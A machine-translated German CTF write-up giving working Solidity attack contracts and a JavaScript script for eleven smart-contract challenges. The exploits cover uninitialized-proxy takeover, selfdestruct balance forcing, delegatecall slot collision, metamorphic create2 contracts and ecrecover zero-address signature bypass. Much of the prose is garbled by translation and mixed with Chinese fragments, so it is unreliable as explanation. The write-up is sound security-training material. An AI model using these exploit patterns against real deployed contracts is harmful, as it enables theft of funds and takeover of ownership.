[Blockchain Security-CTF Protocol] Blockchain Smart Contract Sicherheitspraxis
Vorwort
Diesmal soll das Thema CTF-PROTOCOL ausprobiert werden , ich hoffe, es mit Ihnen zu teilen. Später sollte ich auf die POC-Handschrift und Analyse einiger von DeFiHackLabs gestarteter Angriffsserien verweisen und gleichzeitig am Hackathon teilnehmen. Wir arbeiten hart!
1. Die verlorene Katze
Themenanalyse:
HiddenKittyCat
Kernstück des Vertrages ist:
constructor() {
_owner = msg.sender;
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
assembly {
sstore(slot, "KittyCat!")
}
}
Es kann bekannt sein, dass der Ort der Aufbewahrung von Kätzchen keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
durch bestimmt wird. Und wir House
interagieren mit dem Vertrag, einen nach dem anderen isKittyCatHere
, generieren Kitty
und suchen ihn.
Dieser Grund hängt ganz davon ab block.timestamp,block.number
, ähnlich wie Ethernaut
in der flipflopcoin
.
Nach Bereitstellung House
kommt der Vertrag zustande0xD50b65d0c843E70ab06666fEA69EC87Aa34581fB
Angriffsvertrag:
pragma solidity ^0.8.0;
interface IHouse{
function isKittyCatHere(bytes32 _slot) external;
}
contract KittyHacker {
constructor() {
}
function hack(address house) public {
bytes32 slot =
keccak256(
abi.encodePacked(
block.timestamp,
blockhash(block.number - 69)
)
);
IHouse(house).isKittyCatHere(slot);
}
}
Nach der Bereitstellung soll der Angriffsvertrag 0x3791eeD6c8fedAf433C8ce53B8Fa69C11e0b237D
einen Angriff starten, und der Hash ist 0x6ced57a2de0f1dfe348f61b77e766d330a8c123cac2296cd61146796170940e9
, der nach dem Angriff erfolgreich geändert wurde.
2. RootMe
Der zu beachtende Punkt ist das
accountByIdentifier[identifier] = msg.sender
Undidentifier = keccak256(abi.encodePacked(user, salt));
Denn abi.encodePacked
die Erklärung lautet wie folgt:
types shorter than 32 bytes are concatenated directly, without padding or sign extension
Daher kann , obwohl die Eingabe von , auch während der Bereitstellung den gleichen Effekt codieren ROOT
.ROOT
ROOTR
OOT
Der Angriffsvertrag lautet wie folgt:
pragma solidity ^0.8.0;
interface IRootMe{
function register(string memory username, string memory salt) external;
function write(bytes32 storageSlot, bytes32 data) external;
}
contract RootMeHacker {
constructor(){
}
function testEncodePackedValue(string memory user, string memory salt) public pure returns (bytes memory) {
bytes memory packed = abi.encodePacked(user, salt);
return packed;
}
function attack(address target,bytes32 slot, bytes32 content) public{
IRootMe(target).register("RO","OTROOT");
IRootMe(target).write(slot,content);
}
}
Die Adresse des Bereitstellungsvertrags lautet 0xb92F069Aec3Ae791fA717FFC0D9FAE73039bB1a5
. Verwenden Sie zuerst testEncodePackedValue
den Test hier Die Eingabe von ( ROOT
, ROOT
) ist eigentlich nur das Spleißen der Werte 0x524f4f54524f4f54
, und R
der Ascii-Wert ist 82, was Hex
ihm entspricht 0x52
.
Gleichzeitig register
holen wir zuerst die Berechtigung ein und write
schreiben dann 0000000000000000000000000000000000000000000000000000000000000000
den Wert in den Slot 0000000000000000000000000000000000000000000000000000000000000001
. (Denken Sie daran, dass Sie beim Übergeben von Parametern 0x voranstellen müssen). Modifikationen wurden nach dem Angriff abgeschlossen.
3. Betrüger
Getestet, wenn Sie JackpotProxy
direkt mit interagieren, gibt es kein Hin und Her, warum?
Weil in JackpotProxy::constructor
, erstellt _proxy
, aber nicht initialisiert initialize
. Wenn also claimPrize
, owner
und aufgerufen wird msg.sender
, stimmt dies nicht überein, sodass dies nicht möglich ist.
Wir Goerli
sehen uns den Aufruf von Tx an , Sie können es bekommen JackPot=0x8Aa401B931C990DCA9D4d5EAbe67217e320D731C
, und rufen Sie es direkt an JackPot::initialize
, um den Besitz zu erlangen.
Geben Sie nach Erhalt 100000000000000
wei ein und rufen Sie an JackPot::claimPrize
. An diesem Punkt JackPot
wurde das Guthaben geleert.
4. Das goldene Ticket
Vorläufige Beurteilung, ob eine Überlauf-Schwachstelle vorliegt waitlist[msg.sender] += uint40(_time);
(nicht aktiviert). Hier gibt es ein Problem: VM
Der Modus in remix lässt sich sowieso nicht aufrufen joinRaffle
und meldet ständig Fehler Not Found
. Aber es gibt kein Problem im Web3-Injector-Modus, ich kenne den Grund nicht. Denke es ist ein Bug?
pragma solidity ^0.8.0;
interface IGoldenTicket{
function joinWaitlist() external;
function updateWaitTime(uint256) external;
function joinRaffle(uint256) external;
function giftTicket(address) external;
function waitlist(address) external returns (uint40);
}
contract TheGoldenTicketHacker {
constructor(){
}
function check(address _addr) public returns (bool){
return (IGoldenTicket(_addr).waitlist(address(this)) < block.timestamp );
}
function checkTimestamp() public view returns (uint256){
return block.timestamp;
}
function attack(address _addr,address _to) public{
IGoldenTicket(_addr).joinWaitlist();
IGoldenTicket(_addr).updateWaitTime(type(uint40).max- IGoldenTicket(_addr).waitlist(address(this)) + 1 days);
uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
IGoldenTicket(_addr).joinRaffle(randomNumber);
IGoldenTicket(_addr).giftTicket(_to);
}
}
5. Intelligenter Horrokrux
Horrocrux
Es stellte sich heraus 魂器
, dass ich es gelernt hatte.
Der Einstiegspunkt muss hier sein , wir analysieren destroyIt
die Funktion unter der Annahme, dass die Eingabe wie folgt ist :callData
spell=111,magic=3
calldata
0x60c4a9f1 // selector
0000000000000000000000000000000000000000000000000000000000000040 // 0x0 string index
0000000000000000000000000000000000000000000000000000000000000003 // 0x20 magic
0000000000000000000000000000000000000000000000000000000000000003 // 0x40 string length
3131310000000000000000000000000000000000000000000000000000000000 // string value
spellInBytes := mload(add(spell, 32))
Der obige Lesevorgang muss string value
= 0x45746865724b6164616272610000000000000000000000000000000000000000
(ASCII -> Bytes) sein, also sollte der Wert seinEtherKadabra
Und es muss (bytes4(bytes32(uint256(spellInBytes) - magic)))
genau so sein kill
(Selektor ist 0x41c0e1b5) (die eigentliche Berechnung sollte lauten, dass 56 0s später hinzugefügt werden müssen).magic=1674133761342824277929123818302714816965480662716616051558525647956333297664
Vergessen Sie dabei nicht, invincible
es auf false zu setzen. Dies erfordert, dass der Vertrag nur 1wei ist, was nur durch einen selbstzerstörenden Vertrag möglich ist, also müssen wir auch einen Vertrag schreiben. Der endgültige Angriffsvertrag lautet wie folgt:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface ISmartHorrocrux {
function destroyIt(string memory,uint256) external;
function setInvincible() external;
}
contract Bomb {
constructor() {
}
fallback() external payable {
}
function destroy(address victim) public{
selfdestruct(payable(victim));
}
}
contract SmartHorrocruxHacker {
ISmartHorrocrux victim;
constructor(address target) payable{
victim = ISmartHorrocrux(target);
}
function attack(string memory spell, uint256 magic) public{
Bomb bomb = new Bomb();
payable(address(bomb)).transfer(1);
payable(address(victim)).call("");
bomb.destroy(address(victim));
victim.setInvincible();
victim.destroyIt(spell,magic);
}
}
Zu diesem Zeitpunkt sollte das Gas höher sein, da sonst outOfGas angezeigt wird.
PS: Das Remix-Erlebnis ist einfach schrecklich! Viel Zeit verschwendet!
6. Gasventil
Achten Sie auf diese Frage: model no. EIP-150
, es gibt Erklärungen wie folgt:使用ADD这样的简单操作相对于复杂计算操作,例如用SHA256加密一个特定的数字,会消耗较少的gas。攻击者通过在他的交易合同中不断的使用某些特定的opcodes使得整个交易变得计算复杂却在网络上消耗极少的费用。
Problem hier
try nozzle.insert() returns (bool result) {
lastResult = result;
return result;
} catch {
lastResult = false;
return false;
}
Wenn eine Ausnahme ausgelöst wird, wird sie als Fehler betrachtet, andernfalls result=false
wird sie direkt zurückgegeben.
Tatsächlich ist die Idee sehr einfach, wie kann man das alles konsumieren gas
? Der Versuch, eine Schleife aufzurufen, bis die maximale Tiefe erreicht ist, schlägt fehl (löst eine Ausnahme aus). Wenn Sie sich Gas Refund ansehen , können Sie sehen, dass selfdestruct
es sofort ausgelöst wird, gasRefund
ohne eine Ausnahme auszulösen.
Der Angriffsvertrag lautet wie folgt:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract ValveHacker {
constructor() {
}
function insert() public returns (bool result) {
selfdestruct(payable(msg.sender));
}
}
7. Gestank
Das Problem ist, dass:
require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");
Da es in Solidität keine Dezimalstellen gibt, führt dies zu einer Situation, in der die ganze Zahl durch 0 geteilt wird, das heißt, wenn 1/2=0
Sie GME
sie umtauschen TSLA
, können Sie sie gegen einen kleinen Betrag eintauschen, aber Sie können eigentlich nichts bekommen.
Zuerst wollte ich den Vertrag zum Angriff verwenden, aber später stellte ich fest, dass er zu Tode geschrieben wurde msg.sender
, sodass ich ihn nur mit js schreiben konnte.
const abi = [
"function buyTSLA(uint256 amountGMEin, uint256 amountTSLAout)",
"function sellTSLA(uint256 amountTSLAin, uint256 amountGMEout)"
];
const addressStonk = '0x1552F5d5e9d31E51a412a8E5DA2b8F27040Dfb3a';
const contract= new ethers.Contract(addressStonk, abi, provider);
console.log(contract);
async function attack(){
const tx1 = await contract.connect(hacker).sellTSLA(20,1000);
await tx1.wait();
console.log(tx1);
for (i = 0 ;i < 50; i++){
await contract.connect(hacker).buyTSLA(40,0);
}
}
attack();
PS: Gaskiller!
8. Flusen
Es ist ein bisschen eingeschränkt require(msg.sender.code.length == 0, "Only EOA players");
und muss implementieren IGame
und handOfGod()
funktionieren. Es wird angegeben, dass dies code.length=0
aufgerufen wird, wenn die Prozedur erstellt wird passTheBall
. Und auch durch delegateCall
Ändern der Variablen im zweiten Steckplatz.
Hier scheint ein großes Loch zu sein! In remix
scheinen die Blockhash-Ergebnisse unter verschiedenen Blöcken unterschiedlich zu sein? Ich habe es genau studiert:
所述block.number状态变量允许获得所述当前块的高度。当矿工获得执行合约代码的交易时,block.number该交易的未来区块的 的 是已知的,因此合约可以可靠地访问其价值。但是,在 EVM 中执行交易的那一刻,由于显而易见的原因,正在创建的区块的区块哈希尚不可知,并且 EVM 将始终产生零。
So:
value = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
value2 = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));
Die beiden obigen Ergebnisse sind gleich!
Der Angriffsvertrag lautet also wie folgt:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract PelusaHacker {
Exploit public exp;
constructor() {
}
function attack(address target, address sender) public{
while (true) {
exp = new Exploit(target);
if (uint256(uint160(address(exp))) % 100 == 10){
break;
}
}
exp.setParam(sender);
exp.attack();
}
}
contract Exploit {
address public fakeOwner;
uint256 private shot = 0;
address private target;
constructor(address _target){
target = _target;
if (uint256(uint160(address(this))) % 100 == 10){
IPelusa(target).passTheBall();
}
}
function setParam(address sender) public {
fakeOwner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));
}
function getBallPossesion() public view returns (address){
return fakeOwner;
}
function handOfGod() public returns (uint256){
shot = shot + 1;
return 22061986;
}
function attack() public {
IPelusa(target).shoot();
}
}
interface IPelusa{
function passTheBall() external;
function shoot() external;
}
Beim Angriff sollten wir den Absender finden:"0xaa758e00eca745cab9232b207874999f55481951"
Denken Sie daran, gas
es ein wenig hochzuziehen. Infolgedessen scheint es im Testnetzwerk immer noch Probleme zu geben, und es wird nach dem erneuten Ausführen in Ordnung sein!
9. Hacke das Mutterschiff!
Das Problem tritt auf bei:
(bool success,) = module.delegatecall(msg.data);
Und tauchte module
wieder auf .spaceship
slot collision
Wir wollen hacked = true;
, wir müssen zufrieden sein leader == msg.sender
, also brauchen
promoteToLeader(address _leader)
, hier muss es genügen:
The proposed leader is a spaceship captain
=> assignNewCaptainToShip(address _newCaptain) mothership
=> askForNewCaptain(address _newCaptain) spaceship
=> _isCrewMember(address)
=> isLeaderApproved(address) => OK
Also unsere Überlegung:
- Für
spaceship
, setze escaptain
auf 0, füge dich hinzufleet
,askForNewCaptain
addModule
Ändern SieLeaderShip
den Zeigevertrag direkt durchpromoteToLeader
Weil alles bestanden werden muss, muss spaceship
alles überarbeitet werden.captain
Der Angriffsvertrag lautet wie folgt:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract ShipHacker {
IMotherShip public ship;
FakeCaptain public captain;
ISpaceShip public spaceship;
constructor(address target) {
ship = IMotherShip(target);
}
function fleet(uint256 x) public{
ship.fleet(x);
}
function attack() public{
for (uint i = 0; i < 5; i++){
spaceship = ISpaceShip(ship.fleet(i));
captain = new FakeCaptain();
spaceship.replaceCleaningCompany(address(0));
spaceship.addAlternativeRefuelStationsCodes(uint256(uint160((address(captain)))));
captain.attack(address(spaceship));
}
ship.promoteToLeader(address(captain));
captain.hack(address(ship));
}
}
contract FakeCaptain {
constructor() {
}
function hack(address _ship) external {
IMotherShip(_ship).hack();
}
function attack(address _spaceship) public {
ISpaceShip(_spaceship).askForNewCaptain(address(this));
ISpaceShip(_spaceship).addModule(ISpaceShip.isLeaderApproved.selector,address(this));
}
function isLeaderApproved(address) external pure {
}
}
interface IMotherShip{
function hack() external;
function promoteToLeader(address _leader) external;
function fleet(uint256) external returns (address);
}
interface ISpaceShip{
function askForNewCaptain(address _newCaptain) external;
function addModule(bytes4 _moduleSig, address _moduleAddress) external;
function replaceCleaningCompany(address _cleaningCompany) external;
function addAlternativeRefuelStationsCodes(uint256 refuelStationCode) external;
function isLeaderApproved(address) external pure;
}
10. Phönix
assembly {
x := create2(0, add(_code, 0x20), mload(_code), 0)
}
addr = x;
Beachten Sie genau, dies ist der Metamorphische Vertrag.
5860208158601c335a63aaf10f428752fa158151803b80938091923cf3,这串bytecode的原理是staticcall调用getImplementation方法,获取implementation合约地址,再用extcodecopy把implementation合约的runtime bytecode复制到memory,做为当前部署合约的runtime bytecode,以此来动态替换合约的runtime bytecode,而合约地址又不变。
Daher zerstören wir zuerst den Vertrag selbst (manuell) und ändern dann den logischen Vertrag (abgeschlossen durch Angriff auf den Vertrag)!
通过`capture`手动销毁
Angriffsvertrag:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract PhoenixttoHacker {
constructor(){
}
function attack(address _target) public{
ILab(_target).reBorn(type(Phoenixtto2).creationCode);
}
fallback() external payable {
}
}
contract Phoenixtto2 {
address public owner;
bool private _isBorn;
function reBorn() external {
if (_isBorn) return;
_isBorn = true;
owner = PLAYER_ADDRESS;
}
function capture(string memory _newOwner) external {
if (!_isBorn || msg.sender != tx.origin) return;
address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
if (newOwner == msg.sender) {
owner = newOwner;
} else {
selfdestruct(payable(msg.sender));
_isBorn = false;
}
}
}
interface ILab{
function reBorn(bytes memory _code) external;
}
11. Metaverse-Supermarkt
buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature)
Hier werden oraclePrice und Signatur getrennt, nur wissen, dass es eine Signatur gibt, wer weiß, ob sie signiert ist? Das Problem ist
ecrecover could return address(0) in case of an error!
Und wir haben nichts Oracle
mit Initialisierung zu tun! Es ist also recovered == oracle
natürlich festgelegt, wir können es nach Belieben ausfüllen.
Vertrag angreifen
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
struct OraclePrice {
uint256 blockNumber;
uint256 price;
}
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}
contract InflatStoreHacker {
constructor() {
}
function attack(address store) public{
OraclePrice memory price = OraclePrice(block.number,0);
Signature memory sig = Signature(27, 0, 0);
IInflaStore s = IInflaStore(store);
IMeal meal = IMeal(s.meal());
for (uint i = 0; i< 10; i++){
s.buyUsingOracle(price,sig);
meal.transferFrom(address(this),0x4fd74AF56b8843b07A30DE799174AEc8ad8DF577,i);
}
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
return InflatStoreHacker.onERC721Received.selector;
}
}
interface IInflaStore{
function meal() external returns (address);
function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external;
}
interface IMeal {
function transferFrom(address,address,uint256) external;
}
Herausforderung abgeschlossen!